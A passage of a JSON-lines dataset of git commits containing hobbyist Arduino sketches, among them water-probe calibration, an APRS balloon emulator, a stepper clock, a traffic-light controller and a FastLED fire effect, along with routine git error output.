of the file we will write to\nFile outputFile;\n\n\nvoid setup() {\n Serial.begin(9600);\n \/\/note that the micro serial connection is not quite the same as the uno\n \/\/see http:\/\/arduino.cc\/en\/Guide\/ArduinoLeonardoMicro\n while (!Serial);\n Wire.begin();\n \/\/ set the real time clock\n rtc.adjust(DateTime(__DATE__, __TIME__));\n rtc.begin();\n if (!SD.begin(SS)) {\n Serial.println(\"SD card initialization failed!\");\n return;\n }\n outputFile = SD.open(\"calibration.txt\", FILE_WRITE);\n\n \n Serial.println(\"###################################################################\");\n Serial.println(\"# #\");\n Serial.println(\"# #\");\n Serial.println(\"# Atlas Probe Calibration #\");\n Serial.println(\"# #\");\n Serial.println(\"# version 1.0 #\");\n Serial.println(\"# #\");\n Serial.println(\"# By Rob Edwards and Jeff Sadural #\");\n Serial.println(\"# #\");\n Serial.println(\"# 2015 #\");\n Serial.println(\"# #\");\n Serial.println(\"###################################################################\");\n Serial.println(\"\\n\\n\");\n Serial.println(\"We have set the clock, now we need to calibrate the probes\");\n Serial.println(\"To begin, please do the following\");\n Serial.println(\" 1. Dip the DO probe (yellow) in H2O, leave for two minutes, and then take out and leave in the air.\");\n Serial.println(\" 2. Put the pH probe (red) in pH 7 solution. (You will also need pH4 and pH10 solutions\");\n Serial.println(\" 3. Place the ORP probe (blue) in calibration solution. We use 225mV solution. If you don't have that contact Rob or Jeff\");\n Serial.println(\" 4. Make sure the Conductivity probe (Green) is dry\");\n Serial.println(\"\\n\\n\");\n Serial.println(\"Press return when you are ready\");\n\n String input = keyboard_input();\n\n \/****************************************************************************\n * pH calibration *\n ****************************************************************************\/\n\n Serial.println(\"\\n\\n\\n\\nGreat. We will start with the pH probe\");\n Serial.println(\"It takes about 4 seconds for the probe to adjust to each solution and be calibrated\");\n Serial.println(\"If the probe is in pH 7 solution, press return\");\n \n input = keyboard_input();\n char mid[] = \"cal,mid,7.00\\0\";\n send_to_probe(phProbe, mid);\n Serial.println(\"Calibrating the probe .... \");\n delay(2000);\n Serial.println(\"Move the probe to pH 4 solution and press return\");\n input = keyboard_input();\n Serial.println(\"Calibrating the probe .... \");\n char low[] = \"cal,low,4.00\\0\";\n send_to_probe(phProbe, low);\n delay(2000);\n Serial.println(\"Move the probe to pH 10 solution and press return\");\n input = keyboard_input();\n Serial.println(\"Calibrating the probe .... \");\n char hi[] = \"cal,high,10.00\\0\";\n send_to_probe(phProbe, hi);\n delay(2000);\n\n Serial.println(\"The pH probe is calibrated.\\n\");\n \n \/****************************************************************************\n * ORP calibration *\n ****************************************************************************\/\n \n Serial.println(\"Now we will calibrate the ORP probe\\n\");\n Serial.println(\"Once the ORP probe (blue) is in the calibration solution press return\");\n input = keyboard_input();\n Serial.println(\"Calibrating the probe .... \");\n char orpc[] = \"cal,225\\0\";\n send_to_probe(phProbe, orpc);\n delay(2000);\n\n Serial.println(\"The ORP probe is calibrated.\\n\");\n \n \/****************************************************************************\n * EC calibration *\n ****************************************************************************\/\n \n Serial.println(\"Now we will calibrate the EC probe (green)\\n\");\n Serial.println(\"If the probe is DRY press return\\n\");\n input = keyboard_input();\n Serial.println(\"Calibrating the probe .... \");\n char ecdry[] = \"cal,dry\\0\";\n delay(2000);\n Serial.println(\"We need to get some calibration solutions here!! HELP\");\n \n \n \/****************************************************************************\n * DO calibration *\n ****************************************************************************\/\n \n \/\/ Note that we do this last so that the probe has sat around in air while they\n \/\/ are doing the other calibrations\n Serial.println(\"Now lets calibrate the DO probe\");\n \n String date = rtc_time();\n\n outputfile.println(\"Calibrated all probes and set the clock at \" + date);\n outputfile.flush();\n\n Serial.println(\"All the probes are calibrated and the clock is set. Good luck\");\n Serial.println(\"Please note, that most of these calibrations would be more accurate if we included the temperature of the solutions. We don't have that ... yet!\");\n \n}\nvoid loop () {\n \/\/ we don't do anything here!\n}\n\n\n\nString rtc_time() {\n DateTime now = rtc.now();\n\n String date = String(now.month(), DEC) + \"\/\" + String(now.day(), DEC) + \"\/\" + String(now.year(), DEC) + \"\\t\";\n date += String(now.hour(), DEC) + \":\" + String(now.minute()) + \":\" + String(now.second());\n return date;\n}\n\n\n\nString keyboard_input() {\n char received;\n String inputData;\n while (received != '\\n') { \/\/ When new line character is received (\\n = LF, \\r = CR)\n if (Serial.available() > 0) \/\/ When character in serial buffer read it\n {\n received = Serial.read(); \n Serial.print(received); \/\/ Echo each received character, terminal dont need local echo\n inputData += received; \/\/ Add received character to inData buffer\n }\n }\n inputData.trim(); \/\/ Eliminate \\n, \\r, blank and other not \"printable\n return inputData;\n}\n\n\n\n\nvoid send_to_probe(int probe_address, char message[]) {\n Wire.beginTransmission(probe_address); \/\/call the circuit by its ID number. \n Wire.write(message); \n Wire.endTransmission();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/CalibrateSensors\/CalibrateSensors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"57d8a000dd1c34c30f2ad50a2a4dddfa0f52f463","subject":"Initial code.","message":"Initial code.\n","repos":"lgramatikov\/celeste","old_file":"Celeste.ino","new_file":"Celeste.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"abe59749d1c8fa3a1cae26e634cbcb013e2e472c","subject":"An APRS output emulator with simulated flight.","message":"An APRS output emulator with simulated flight.\n","repos":"AdlerFarHorizons\/PortableAntennaRotorControl","old_file":"SimpleAPRSEmu\/SimpleAPRSEmu.ino","new_file":"SimpleAPRSEmu\/SimpleAPRSEmu.ino","new_contents":"#include <MsTimer2.h>\nString ident1 = \"KC9LHW-11\";\nString ident2 = \"KC9LIG-11\";\nString prefix = \">APBL10,WIDE1-1,WIDE2-1:!\";\nString comment = \"Adler Planetarium Balloon\";\nString aprs_str1 = \"KC9LHW-11>APBL10,WIDE1-1,WIDE2-1:!4106.18N\/08755.31WO309\/022\/A=005939Adler Planetarium Balloon\";\nString aprs_str2 = \"KC9LIG-11>APBL10,WIDE1-1,WIDE2-1:!4106.20N\/08755.20WO311\/022\/A=006000Adler Planetarium Balloon\";\nString inStr = \"\";\nbyte inByte;\nchar inChar;\nboolean timesUp, altFlg;\n\nfloat startLat = 41.09; \/\/ degrees\nfloat startLon = -87.9167100; \/\/ degrees\nfloat startAlt = 434.3; \/\/ m\n\nfloat earth_radius = 6.7E6; \/\/ m\nfloat latScale = 1.124E5; \/\/ m\/deg\nfloat knots2mps = 0.51444444444;\nfloat ft2m = 0.3048;\nfloat deg2rad = 3.1415927 \/ 180.0;\nfloat vAscent = 6; \/\/ m\/sec\nfloat vDescent = -12; \/\/ m\/sec\nfloat altBurst = 3e4; \/\/ m\nboolean isBurst;\nfloat vWind = 30; \/\/ m\/sec\nfloat vWindAngle = 105; \/\/ 0-360 deg east of north => tan( vx\/vy )\nfloat vx, vy, vz; \/\/ x=>lon, y=>lat, z=>alt\nfloat position1[3] = {startLon, startLat, startAlt};\nfloat position2[3] = {startLon, startLat, startAlt};\nint tUpdate = 30; \/\/ seconds\nint speedup = 4;\n\nunsigned long timeNow, timeLast;\n\nvoid setup() {\n MsTimer2::set( round( 1000.0 * tUpdate \/ ( 1.0 * speedup) ), sendString );\n Serial.begin(9600);\n Serial.flush();\n delay(1);\n timeLast = millis();\n vx = vWind * sin( vWindAngle * deg2rad );\n vy = vWind * cos( vWindAngle * deg2rad );\n vz = vAscent;\n Serial.println( aprs_str( ident1 ) );\n timesUp = false;\n altFlg = false;\n isBurst = false;\n MsTimer2::start();\n}\n\nvoid loop() {\n\n if ( Serial.available() > 0 ) {\n\n inChar = (char)Serial.read();\n \n \/\/ Check for a CTRL-<x> and loop back something readable\n \/\/ unless it's a CR BS or LF. \n \/\/ If CR add a LF in case the terminal isn't sending them.\n \/\/ If LF (^J), put it through. \n \/\/ If BS, erase the character\n \n if (inChar == '\\r') { \/\/Terminal sent a CR, add LF\n \n Serial.write( '\\n' );Serial.write( inChar );\n inStr = \"\";\n\n } else if ( inChar == '\\n' ) { \/\/Line Feed only, send it.\n \n Serial.write( inChar );\n inStr += inChar;\n \n } else if ( (byte)inChar == (char)0x08 ) { \/\/ BS, erase the char.\n\n Serial.write( inChar );Serial.write( '\\x20' );Serial.write( inChar );\n inStr = inStr.substring( 0, inStr.length() - 1 );\n\n } else if ( (byte)inChar < 0x20 ) {\n\n inChar = (char)((byte)inChar + 0x40);\n Serial.write( '^' );Serial.write( inChar );\n inStr += '^';inStr += inChar;\n\n } else {\n\n Serial.write( inChar );\n inStr += inChar;\n\n }\n\n Serial.flush();\n \n }\n\n if ( timesUp ) {\n updatePosition();\n if ( altFlg ) {\n Serial.println( aprs_str( ident1 ) );\n } else {\n Serial.println( aprs_str( ident2 ) );\n }\n altFlg = !altFlg;\n timesUp = false;\n }\n\n if ( !isBurst && position1[2] > altBurst ) {\n vz = vDescent;\n isBurst = true;\n } \n\n if ( isBurst && position1[2] < startAlt ) {\n vx = 0.0;\n vy = 0.0;\n vz = 0.0;\n }\n\n}\n\nString aprs_str( String ident ) {\n \n return ident + prefix +\n latToString( position1[1] ) + \"\/\" +\n lonToString( position1[0] ) + \"O\" +\n headingToString( vx, vy ) + \"\/\" +\n gndSpeedToString( vWind ) + \"\/A=\" +\n altToString( position1[2] ) + comment;\n}\n\nString headingToString( float velx, float vely ) {\n float angle = ( atan2( velx, vely ) ) \/ deg2rad;\n if ( angle < 0 ) angle += 180.0;\n String angleStr = String( round( angle ) ); \n return zeroPad( angleStr, 3 );\n}\n\nString gndSpeedToString( float speed ) {\n String speedStr = String( round( speed ) ); \n return zeroPad( speedStr, 3 );\n}\n\nString altToString( float alt ) {\n String altStr = String( round( alt \/ ft2m ) );\n return zeroPad( altStr, 6 );\n}\n\nvoid updatePosition( ) {\n timeNow = millis();\n float deltaT = speedup * ( timeNow - timeLast ) \/ 1000.0;\n timeLast = timeNow;\n addToLatLonAlt( deltaT * vy, deltaT * vx, deltaT * vz );\n}\n\nvoid addToLatLonAlt( float dy, float dx, float dz ) {\n position1[0] += dx * cos( position1[1] * deg2rad ) \/ latScale;\n position1[1] += dy \/ latScale;\n position1[2] += dz;\n}\n\nString latToString( float lat ) {\n char dir = 'N';\n if ( lat < 0.0 ) dir = 'S';\n int deg = (int)abs( lat );\n int mins = round( 100.0 * ( 60.0 * ( abs( lat ) - (float)deg ) ) );\n String degStr = String( deg );\n String minStr = String( mins );\n \/\/ Leading zero-fills\n degStr = zeroPad( degStr, 2 );\n minStr = zeroPad( minStr, 4 );\n return degStr + minStr.substring( 0, 2 )\n + '.' + minStr.substring( 2 ) + dir;\n}\n\nString lonToString( float lon ) {\n char dir = 'E';\n if ( lon < 0.0 ) dir = 'W';\n int deg = (int)abs( lon );\n String degStr = String( deg );\n int mins = (int)round( 100 * ( 60.0 * ( abs( lon ) - deg ) ) );\n String minStr = String( mins );\n \/\/ Leading zero-fills\n degStr = zeroPad( degStr, 3 );\n minStr = zeroPad( minStr, 4 );\n return degStr + minStr.substring( 0, 2 )\n + '.' + minStr.substring( 2 ) + dir; \n}\n\nString zeroPad( String str, int strLen ) { \n int len = str.length();\n for ( int i = 0 ; i < strLen - len ; i++ ) {\n str = \"0\" + str;\n }\n return str;\n}\nvoid sendString() {\n timesUp = true;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SimpleAPRSEmu\/SimpleAPRSEmu.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e1347d0ca03f45b70335c3567ba6dc992e786ea2","subject":"SRAM overflows everywhere! Starting from scratch...","message":"SRAM overflows everywhere! Starting from scratch...\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testInterrupts\/testInterrupts.ino","new_file":"Motor Speed\/testInterrupts\/testInterrupts.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testInterrupts\/testInterrupts.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8fdefc4258a3f7b4c19c78a5e2ede80a588d72b8","subject":"Add ClockStepper emulating the seconds hand movement","message":"Add ClockStepper emulating the seconds hand movement","repos":"laurb9\/StepperDriver","old_file":"examples\/ClockStepper\/ClockStepper.ino","new_file":"examples\/ClockStepper\/ClockStepper.ino","new_contents":"\/*\n * Clock Microstepping demo\n *\n * Moves the stepper motor like the seconds hand of a watch.\n *\n * Copyright (C)2015 Laurentiu Badea\n *\n * This file may be redistributed under the terms of the MIT license.\n * A copy of this license has been included with this distribution in the file LICENSE.\n *\/\n#include <Arduino.h>\n#include \"DRV8834.h\"\n#include \"A4988.h\"\n#include \"DRV8825.h\"\n\n\/\/ All the wires needed for full functionality\n#define DIR 8\n#define STEP 9\n\n\/\/ 2-wire basic config, microstepping is hardwired on the driver\n\/\/ BasicStepperDriver stepper(DIR, STEP);\n\n\/\/ microstep control for DRV8834\n#define M0 10\n#define M1 11\nDRV8834 stepper(DIR, STEP, M0, M1);\n\n\/\/ microstep control for A4988\n\/\/ #define MS1 10\n\/\/ #define MS2 11\n\/\/ #define MS3 12\n\/\/ A4988 stepper(DIR, STEP, MS1, MS2, MS3);\n\n\/\/ microstep control for DRV8825\n\/\/ same pinout as A4988, different pin names, supports 32 microsteps\n\/\/ #define MODE0 10\n\/\/ #define MODE1 11\n\/\/ #define MODE2 12\n\/\/ DRV8825 stepper(DIR, STEP, MODE0, MODE1, MODE2);\n\nvoid setup() {\n \/*\n * Set target motor RPM.\n * These motors can do up to about 200rpm.\n * Too high will result in a high pitched whine and the motor does not move.\n *\/\n stepper.setRPM(1);\n stepper.setMicrostep(1); \/\/ make sure we are in full speed mode\n}\n\nvoid loop() {\n \/*\n * The easy way is just tell the motor to rotate 360 degrees at 1rpm\n *\/\n stepper.rotate(-360);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ClockStepper\/ClockStepper.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"006e709db7c13b2449845201a2ed48bee5b564f0","subject":"Added files via upload","message":"Added files via upload","repos":"manashmndl\/OthersProject,manashmndl\/OthersProject,manashmndl\/OthersProject","old_file":"taqi.ino","new_file":"taqi.ino","new_contents":"\/\/#define __DEBUG__\n\n#define threshold 500\n#define baud 9600\n#define short_del 500\n#define long_del 2000\n\nconst unsigned int red[] = {10, 7, 2, 13}; \/\/r1, r2, r3, r4\nconst unsigned int yellow[] = {9, 6, 3, 12};\nconst unsigned int green[] = {8, 5, 4, 11};\nconst unsigned int ir[] = {A2, A3, A1, A0}; \n\nbool reading[] = {false, false, false, false};\n\nenum LIGHT {FIRST = 0, SECOND = 1, THIRD = 2, FOURTH = 3, NONE = 4};\n\nLIGHT light;\n\nint index = 4;\n\nvoid debug(void){\n Serial.println (\" == DEBUG BEGIN == \");\n for (int i = 0; i < 4; i++){\n Serial.println(\"IR [ \" + String(i) + \"] = \" + String(analogRead(ir[i])));\n delay(short_del);\n }\n Serial.println (\" == DEBUG END == \");\n Serial.println();\n delay(long_del);\n}\n\nvoid setup() {\n Serial.begin(baud);\n for (int i = 0; i < 4; i++){\n pinMode(red[i], OUTPUT);\n pinMode(yellow[i], OUTPUT);\n pinMode(green[i], OUTPUT);\n pinMode(ir[i], INPUT);\n }\n}\n\nint whichLight(void){\n if (analogRead(ir[0]) < threshold) return FIRST;\n else if (analogRead(ir[1]) < threshold) return SECOND;\n else if (analogRead(ir[2]) < threshold) return THIRD;\n else if (analogRead(ir[3]) < threshold) return FOURTH;\n else return NONE;\n}\n\nvoid offAll (void){\n for (int i = 0; i < 4; i++){\n digitalWrite (red[i], LOW);\n digitalWrite (yellow[i], LOW);\n digitalWrite (green[i], LOW);\n }\n}\n\nvoid firstLight(void){\n offAll();\n digitalWrite (green[FIRST], HIGH);\n digitalWrite(red[SECOND], HIGH);\n digitalWrite(red[THIRD], HIGH);\n digitalWrite(red[FOURTH], HIGH);\n}\n\nvoid secondLight(void){\n offAll();\n digitalWrite(green[SECOND], HIGH);\n digitalWrite(red[FIRST], HIGH);\n digitalWrite(red[THIRD], HIGH);\n digitalWrite(red[FOURTH], HIGH);\n}\n\n\nvoid thirdLight(void){\n offAll();\n digitalWrite(green[THIRD], HIGH);\n digitalWrite(red[FIRST], HIGH);\n digitalWrite(red[SECOND], HIGH);\n digitalWrite(red[FOURTH], HIGH);\n}\n\nvoid fourthLight(void){\n offAll();\n digitalWrite(green[FOURTH], HIGH);\n digitalWrite(red[FIRST], HIGH);\n digitalWrite(red[THIRD], HIGH);\n digitalWrite(red[SECOND], HIGH);\n}\n\n\nvoid onAll(void){\n for (int i = 0; i < 4; i++) {\n digitalWrite(red[i], HIGH);\n digitalWrite(yellow[i], HIGH);\n digitalWrite(green[i], HIGH);\n }\n}\n\n\nvoid onIdle(void){\n\n index = whichLight();\n \n \/\/ For first light\n digitalWrite(green[FIRST], HIGH);\n digitalWrite(red[SECOND], HIGH);\n digitalWrite(red[THIRD], HIGH);\n digitalWrite(red[FOURTH], HIGH);\n delay(long_del);\n digitalWrite(green[FIRST], LOW);\n digitalWrite(red[SECOND], LOW);\n digitalWrite(red[THIRD], LOW);\n digitalWrite(red[FOURTH], LOW);\n \n for (int i = 0; i < 4; i++) digitalWrite(yellow[i], HIGH);\n delay(short_del);\n for (int i = 0; i < 4; i++) digitalWrite(yellow[i], LOW);\n\n index = whichLight();\n\n \/\/For second\n digitalWrite(green[SECOND], HIGH);\n digitalWrite(red[FIRST], HIGH);\n digitalWrite(red[THIRD], HIGH);\n digitalWrite(red[FOURTH], HIGH);\n delay(long_del);\n digitalWrite(green[SECOND], LOW);\n digitalWrite(red[FIRST], LOW);\n digitalWrite(red[THIRD], LOW);\n digitalWrite(red[FOURTH], LOW);\n \n for (int i = 0; i < 4; i++) digitalWrite(yellow[i], HIGH);\n delay(short_del);\n for (int i = 0; i < 4; i++) digitalWrite(yellow[i], LOW);\n\n index = whichLight();\n\n \/\/For third\n digitalWrite(green[THIRD], HIGH);\n digitalWrite(red[FIRST], HIGH);\n digitalWrite(red[SECOND], HIGH);\n digitalWrite(red[FOURTH], HIGH);\n delay(long_del);\n digitalWrite(green[THIRD], LOW);\n digitalWrite(red[FIRST], LOW);\n digitalWrite(red[SECOND], LOW);\n digitalWrite(red[FOURTH], LOW);\n \n for (int i = 0; i < 4; i++) digitalWrite(yellow[i], HIGH);\n delay(short_del);\n for (int i = 0; i < 4; i++) digitalWrite(yellow[i], LOW);\n\n index = whichLight();\n\n \/\/For fourth\n digitalWrite(green[FOURTH], HIGH);\n digitalWrite(red[FIRST], HIGH);\n digitalWrite(red[SECOND], HIGH);\n digitalWrite(red[THIRD], HIGH);\n delay(long_del);\n digitalWrite(green[FOURTH], LOW);\n digitalWrite(red[FIRST], LOW);\n digitalWrite(red[SECOND], LOW);\n digitalWrite(red[THIRD], LOW);\n\n index = whichLight();\n \n for (int i = 0; i < 4; i++) digitalWrite(yellow[i], HIGH);\n delay(short_del);\n for (int i = 0; i < 4; i++) digitalWrite(yellow[i], LOW);\n\n}\n\n#ifdef __DEBUG__\nvoid loop() { onAll(); }\n\n#else\n\n\n\nvoid loop(){\n \n int index = 4;\n\n index = whichLight();\n \n while(index != NONE){\n index = whichLight();\n switch(index){\n case FIRST:\n firstLight();\n break;\n case SECOND:\n secondLight();\n break;\n\n case THIRD:\n thirdLight();\n break;\n\n case FOURTH:\n fourthLight();\n break;\n\n default:\n offAll();\n break;\n }\n }\n\n while(whichLight() == NONE){\n \n if (whichLight() != NONE){\n offAll();\n break;\n }\n\n \/\/ For first light\n digitalWrite(green[FIRST], HIGH);\n digitalWrite(red[SECOND], HIGH);\n digitalWrite(red[THIRD], HIGH);\n digitalWrite(red[FOURTH], HIGH);\n if (whichLight() != NONE){\n offAll();\n break;\n }\n delay(long_del);\n if (whichLight() != NONE){\n offAll();\n break;\n }\n digitalWrite(green[FIRST], LOW);\n digitalWrite(red[SECOND], LOW);\n digitalWrite(red[THIRD], LOW);\n digitalWrite(red[FOURTH], LOW);\n index = whichLight();\n \n for (int i = 0; i < 4; i++) digitalWrite(yellow[i], HIGH);\n index = whichLight();\n delay(short_del);\n index = whichLight();\n for (int i = 0; i < 4; i++) digitalWrite(yellow[i], LOW);\n\n index = whichLight();\n\n \/\/For second\n digitalWrite(green[SECOND], HIGH);\n digitalWrite(red[FIRST], HIGH);\n digitalWrite(red[THIRD], HIGH);\n digitalWrite(red[FOURTH], HIGH);\n if (whichLight() != NONE){\n offAll();\n break;\n }\n delay(long_del);\n if (whichLight() != NONE){\n offAll();\n break;\n }\n digitalWrite(green[SECOND], LOW);\n digitalWrite(red[FIRST], LOW);\n digitalWrite(red[THIRD], LOW);\n digitalWrite(red[FOURTH], LOW);\n if (whichLight() != NONE){\n offAll();\n break;\n }\n for (int i = 0; i < 4; i++) digitalWrite(yellow[i], HIGH);\n if (whichLight() != NONE){\n offAll();\n break;\n }\n delay(short_del);\n if (whichLight() != NONE){\n offAll();\n break;\n }\n for (int i = 0; i < 4; i++) digitalWrite(yellow[i], LOW);\n\n if (whichLight() != NONE){\n offAll();\n break;\n }\n\n \/\/For third\n digitalWrite(green[THIRD], HIGH);\n digitalWrite(red[FIRST], HIGH);\n digitalWrite(red[SECOND], HIGH);\n digitalWrite(red[FOURTH], HIGH);\n if (whichLight() != NONE){\n offAll();\n break;\n }\n delay(long_del);\n digitalWrite(green[THIRD], LOW);\n digitalWrite(red[FIRST], LOW);\n digitalWrite(red[SECOND], LOW);\n digitalWrite(red[FOURTH], LOW);\n\n if (whichLight() != NONE){\n offAll();\n break;\n }\n for (int i = 0; i < 4; i++) digitalWrite(yellow[i], HIGH);\n if (whichLight() != NONE){\n offAll();\n break;\n }\n delay(short_del);\n for (int i = 0; i < 4; i++) digitalWrite(yellow[i], LOW);\n if (whichLight() != NONE){\n offAll();\n break;\n }\n\n\n \/\/For fourth\n digitalWrite(green[FOURTH], HIGH);\n digitalWrite(red[FIRST], HIGH);\n digitalWrite(red[SECOND], HIGH);\n digitalWrite(red[THIRD], HIGH);\n \n if (whichLight() != NONE){\n offAll();\n break;\n }\n \n delay(long_del);\n digitalWrite(green[FOURTH], LOW);\n digitalWrite(red[FIRST], LOW);\n digitalWrite(red[SECOND], LOW);\n digitalWrite(red[THIRD], LOW);\n\n if (whichLight() != NONE){\n offAll();\n break;\n }\n \n for (int i = 0; i < 4; i++) digitalWrite(yellow[i], HIGH);\n if (whichLight() != NONE){\n offAll();\n break;\n }\n delay(short_del);\n for (int i = 0; i < 4; i++) digitalWrite(yellow[i], LOW);\n\n if (whichLight() != NONE){\n offAll();\n break;\n }\n \n }\n}\n\n\n#endif\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'taqi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4ed56744376743bcb2438f817a2a96c116412227","subject":"Create mirrored_Fire2012.ino","message":"Create mirrored_Fire2012.ino","repos":"marmilicious\/FastLED_examples","old_file":"mirrored_Fire2012.ino","new_file":"mirrored_Fire2012.ino","new_contents":"\/\/***************************************************************\n\/\/ Example of running FastLED's Fire2012 example mirrored on\n\/\/ both halves of a strip. \n\/\/\n\/\/ gReverseDirection sets if the fire goes from center out or\n\/\/ from the ends inward.\n\/\/\n\/\/ The fire is first drawn into a temporary array (leds_temp) that\n\/\/ is half the length of the strip. Then the data is copied from\n\/\/ leds_temp and mirrored to leds before running FastLED.show()\n\/\/\n\/\/ Marc Miller, Jan 2018\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define DATA_PIN 11\n#define CLK_PIN 13\n#define LED_TYPE LPD8806\n#define COLOR_ORDER GRB\n#define NUM_LEDS 32 \/\/ Total number of pixels in strip\n#define BRIGHTNESS 128\nCRGB leds[NUM_LEDS];\nCRGB leds_temp[NUM_LEDS\/2]; \/\/ half the total number of pixels\n\n#define FRAMES_PER_SECOND 60\n\nbool gReverseDirection = false; \/\/false = center outward, true = from ends inward\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(2000); \/\/ startup delay\n \/\/FastLED.addLeds<LED_TYPE,DATA_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.addLeds<LED_TYPE,DATA_PIN,CLK_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n FastLED.clear();\n FastLED.show();\n Serial.println(\"Setup done. \\n\");\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop()\n{\n \/\/ Add entropy to random number generator; we use a lot of it.\n \/\/ random16_add_entropy( random());\n\n Fire2012_halfStrip(); \/\/ draw fire data to leds_temp\n\n mirror2ndHalf(); \/\/ copy and mirror data from leds_temp to leds\n\n FastLED.show(); \/\/ display leds\n FastLED.delay(1000 \/ FRAMES_PER_SECOND);\n}\n\n\n\/\/---------------------------------------------------------------\n\/\/ Fire2012 by Mark Kriegsman, July 2012\n\/\/ as part of \"Five Elements\" shown here: http:\/\/youtu.be\/knWiGsmgycY\n\/\/ \n\/\/ This basic one-dimensional 'fire' simulation works roughly as follows:\n\/\/ There's a underlying array of 'heat' cells, that model the temperature\n\/\/ at each point along the line. Every cycle through the simulation, \n\/\/ four steps are performed:\n\/\/ 1) All cells cool down a little bit, losing heat to the air\n\/\/ 2) The heat from each cell drifts 'up' and diffuses a little\n\/\/ 3) Sometimes randomly new 'sparks' of heat are added at the bottom\n\/\/ 4) The heat from each cell is rendered as a color into the leds array\n\/\/ The heat-to-color mapping uses a black-body radiation approximation.\n\/\/\n\/\/ Temperature is in arbitrary units from 0 (cold black) to 255 (white hot).\n\/\/\n\/\/ This simulation scales it self a bit depending on NUM_LEDS; it should look\n\/\/ \"OK\" on anywhere from 20 to 100 LEDs without too much tweaking. \n\/\/\n\/\/ I recommend running this simulation at anywhere from 30-100 frames per second,\n\/\/ meaning an interframe delay of about 10-35 milliseconds.\n\/\/\n\/\/ Looks best on a high-density LED setup (60+ pixels\/meter).\n\/\/\n\/\/\n\/\/ There are two main parameters you can play with to control the look and\n\/\/ feel of your fire: COOLING (used in step 1 above), and SPARKING (used\n\/\/ in step 3 above).\n\/\/\n\/\/ COOLING: How much does the air cool as it rises?\n\/\/ Less cooling = taller flames. More cooling = shorter flames.\n\/\/ Default 50, suggested range 20-100 \n#define COOLING 90\n\n\/\/ SPARKING: What chance (out of 255) is there that a new spark will be lit?\n\/\/ Higher chance = more roaring fire. Lower chance = more flickery fire.\n\/\/ Default 120, suggested range 50-200.\n#define SPARKING 50\n\n\n\n\n\/\/---------------------------------------------------------------\n\/\/ **** NOTE these changes to the Fire2012 function:\n\/\/ - function renamed to Fire2012_halfStrip\n\/\/ - leds was replaced with leds_temp so the fire is drawn into\n\/\/ the temporary (leds_temp) array.\n\/\/ - NUM_LEDS was replaced with NUM_LEDS\/2 (half the strip length).\n\/\/ - The gReverseDirection logic was removed from Fire2012 code\n\/\/ since the reversing happens in the mirror2ndHalf function.\n\/\/---------------------------------------------------------------\nvoid Fire2012_halfStrip() {\n \/\/ Fuction only operates on half the number of pixels (NUM_LEDS\/2)\n \n \/\/ Array of temperature readings at each simulation cell\n static byte heat[NUM_LEDS\/2];\n\n \/\/ Step 1. Cool down every cell a little\n for( int i = 0; i < NUM_LEDS\/2; i++) {\n heat[i] = qsub8( heat[i], random8(0, ((COOLING * 10) \/ (NUM_LEDS\/2)) + 2));\n }\n\n \/\/ Step 2. Heat from each cell drifts 'up' and diffuses a little\n for( int k= (NUM_LEDS\/2) - 1; k >= 2; k--) {\n heat[k] = (heat[k - 1] + heat[k - 2] + heat[k - 2] ) \/ 3;\n }\n \n \/\/ Step 3. Randomly ignite new 'sparks' of heat near the bottom\n if( random8() < SPARKING ) {\n int y = random8(7);\n heat[y] = qadd8( heat[y], random8(160,255) );\n }\n\n \/\/ Step 4. Map from heat cells to LED colors\n for( int j = 0; j < NUM_LEDS\/2; j++) {\n CRGB color = HeatColor( heat[j]);\n leds_temp[j] = color;\n }\n\n}\/\/end_Fire2012_halfStrip\n\n\n\/\/---------------------------------------------------------------\nvoid mirror2ndHalf() {\n \/\/copy and mirror pixel data from leds_temp to leds array.\n\n if (gReverseDirection == false) { \/\/false is center outward\n for (uint8_t i=0; i<NUM_LEDS\/2; i++) {\n leds[(NUM_LEDS\/2)-1-i] = leds_temp[i];\n leds[(NUM_LEDS\/2)+i] = leds_temp[i];\n }\n\n } else { \/\/true is from ends inward\n for (uint8_t i=0; i<NUM_LEDS\/2; i++) {\n leds[i] = leds_temp[i];\n leds[(NUM_LEDS-1)-i] = leds_temp[i];\n }\n }\n \n}\/\/end_mirror2ndHalf\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mirrored_Fire2012.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"75dde8532560677c9251e69c7c432067642b5fdc","subject":"Added first version of msp-430 code","message":"Added first version of msp-430 code\n\npreliminary version of the msp-430 code used to parse the serial command\nand actuate the servo accordingly\n","repos":"rulonder\/CymbalMonkey,rulonder\/CymbalMonkey","old_file":"source\/MSP430\/ServoEvent\/ServoEvent.ino","new_file":"source\/MSP430\/ServoEvent\/ServoEvent.ino","new_contents":"#include <Servo.h>\n\n\/*\n Servo Event :\n When new serial data arrives, the data is parsed and the servo is moved accordingly.\n \n*\/\n\/\/ set pin 